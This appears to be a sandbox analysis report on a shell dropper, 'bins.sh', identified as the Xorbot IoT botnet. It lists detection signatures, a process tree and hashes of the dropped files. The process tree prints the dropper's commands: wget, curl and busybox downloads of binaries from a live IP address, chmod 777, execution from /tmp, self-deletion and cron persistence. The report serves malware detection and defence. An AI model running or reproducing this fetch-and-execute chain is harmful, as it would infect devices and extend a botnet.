Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/09/2025, 07:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250913-hypc4sxls3
  • SHA256 cb9759f6a86dc952a99cbf140162f88c7546148dbea355ac5e9744d6bd5ac7fe
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
antivmbotnetdefense_evasiondiscoveryexecutionxorbotpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1019) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:640
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:645
      • /usr/bin/wget
        wget http://178.16.54.252/bins/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
        • Writes file to tmp directory
        PID:648
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:670
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
        • Writes file to tmp directory
        PID:673
      • /bin/chmod
        chmod 777 o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
        • File and Directory Permissions Modification
        PID:685
      • /tmp/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        ./o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
          PID:687
        • /bin/rm
          rm o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
          2⤵
            PID:691
          • /usr/bin/wget
            wget http://178.16.54.252/bins/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
            • Writes file to tmp directory
            PID:693
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:722
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
            • Writes file to tmp directory
            PID:724
          • /bin/chmod
            chmod 777 Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
            • File and Directory Permissions Modification
            PID:731
          • /tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            ./Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
              PID:733
            • /bin/rm
              rm Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
              2⤵
                PID:736
              • /usr/bin/wget
                wget http://178.16.54.252/bins/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                • Writes file to tmp directory
                PID:737
              • /usr/bin/curl
                curl -O http://178.16.54.252/bins/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:760
              • /bin/busybox
                /bin/busybox wget http://178.16.54.252/bins/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                • Writes file to tmp directory
                PID:761
              • /bin/chmod
                chmod 777 ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                • File and Directory Permissions Modification
                PID:762
              • /tmp/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                ./ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                  PID:763
                • /bin/rm
                  rm ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                  2⤵
                    PID:765
                  • /usr/bin/wget
                    wget http://178.16.54.252/bins/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                    • Writes file to tmp directory
                    PID:766
                  • /usr/bin/curl
                    curl -O http://178.16.54.252/bins/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:767
                  • /bin/busybox
                    /bin/busybox wget http://178.16.54.252/bins/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                    • Writes file to tmp directory
                    PID:768
                  • /bin/chmod
                    chmod 777 quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                    • File and Directory Permissions Modification
                    PID:769
                  • /tmp/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    ./quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                      PID:770
                    • /bin/rm
                      rm quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                      2⤵
                        PID:772
                      • /usr/bin/wget
                        wget http://178.16.54.252/bins/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                        • Writes file to tmp directory
                        PID:773
                      • /usr/bin/curl
                        curl -O http://178.16.54.252/bins/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:774
                      • /bin/busybox
                        /bin/busybox wget http://178.16.54.252/bins/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                        • Writes file to tmp directory
                        PID:775
                      • /bin/chmod
                        chmod 777 QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                        • File and Directory Permissions Modification
                        PID:776
                      • /tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        ./QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:777
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:779
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:780
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:781
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  • Reads runtime system information
                                  PID:782
                            • /bin/rm
                              rm QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                              2⤵
                                PID:784
                              • /usr/bin/wget
                                wget http://178.16.54.252/bins/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                                2⤵
                                • Writes file to tmp directory
                                PID:787

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
                                  • Path /tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
                                  • Size 107KB
                                  • SHA256 fa34cf14bba7b0ef493975bfb844eba1971d9c2902b7cc3efded5e25d8c6d405
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                                  • Path /tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                                  • Size 120KB
                                  • SHA256 620f6949b82f9ef987b7511fbbb09c2da57d8be47b019fa6a9686ce08b4c3e70
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                                  • Path /tmp/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                                  • Size 118KB
                                  • SHA256 85758df12964024af3ae829e3630f9ad5de7c55dae00181198033da8816e3293
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
                                  • Path /tmp/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
                                  • Size 113KB
                                  • SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                                  • Path /tmp/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                                  • Size 12KB
                                  • SHA256 835f6d1f56d6ec86672a7243c2d8be7acd401c07ebbe9b26656ce25398442742
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                                  • Path /tmp/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                                  • Size 102KB
                                  • SHA256 cb4a3665ebd12bdb094b9fc188793c67ec3008363a49b1dde00d488b54df984b
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.0cARaB
                                  • Path /var/spool/cron/crontabs/tmp.0cARaB
                                  • Size 210B
                                  • SHA256 e63f77fb6350ba2a6cac03ce0c0521b7d87441c014d1bf803fd1c18a552c3a0d
                                  • MD5 SHA1 SHA512
                                  Submit Download